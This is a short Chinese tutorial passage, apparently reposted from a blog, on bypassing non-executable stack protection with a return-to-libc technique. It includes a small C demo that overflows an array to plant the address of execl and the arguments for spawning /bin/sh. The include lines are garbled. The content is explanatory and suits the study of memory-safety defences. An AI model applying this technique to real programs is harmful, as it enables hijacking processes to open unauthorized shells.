| 关键词: nbsp 堆栈 execl shellcode 程序 可将 可读写 运行 参数 保护 |
对付缓冲区溢出的常见方法就是堆栈不可执行保护。众所周知溢出成功后都是执行shellcode,而shellcode一般都是在缓存区里,只要操作系统限制堆栈中的数据只可读写,不可执行,一旦堆栈中的数据被执行立即报告错误,并退出。那么溢出成功后也不能执行shellcode。 但如果在堆栈中构造号参数然后跳转到标准C库中去运行,那么也就避开了堆栈保护。如下简单程序演示其原理: #include#includeint main(int argc,char * argv[]){ long p[1]; char *cmd = "/bin/sh"; printf("execl addr = %p\n",execl); p[2] = execl; p[3] = exit; p[4] = cmd; p[5] = 0;} 运行程序可将得到一个/bin/sh shell注意:程序没有构造机器指令,仅通过溢出填写了一个返回地址->execl及execl所需参数。 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|